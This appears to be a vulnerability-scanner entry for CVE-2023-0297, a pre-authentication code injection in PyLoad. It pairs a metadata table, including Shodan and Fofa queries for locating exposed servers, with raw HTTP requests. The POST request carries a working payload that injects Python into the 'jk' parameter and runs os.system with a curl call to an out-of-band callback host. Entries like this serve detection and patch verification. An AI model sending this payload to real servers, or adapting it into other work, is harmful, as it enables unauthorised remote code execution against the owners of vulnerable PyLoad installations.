| Title | PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE) |
|---|---|
| Author | MrHarshvardhan,DhiyaneshDk |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the target system. |
| Remediation | Upgrade PyLoad to a version that is not affected by this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93949 |
| CVE ID | CVE-2023-0297 |
| CWE ID | CWE-94 |
| Shodan Query | html:"pyload"http.title:"login - pyload"http.html:"pyload"http.title:"pyload" |
| Fofa Query | title="login - pyload"body="pyload"title="pyload" |
| Tags | cve cve2023 huntr packetstorm rce pyload oast vkev vuln |
Code Injection in GitHub repository pyload/pyload prior to 0.5.0b3.dev31.
GET /flash/addcrypted2 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.7 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /flash/addcrypted2 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-gb) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2
Connection: close
Content-Length: 175
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
jk=pyimport+os%3Bos.system%28%22curl d5jke39le0o3nr5efj1gfddeyrp499s8g.oast.online%22%29%3Bf%3Dfunction+f2%28%29%7B%7D%3B&packages=YyVIbzmZ&crypted=ZbIlxWYe&passwords=oJFFUtTw
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-0297.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-0297.pcap
N/AN/A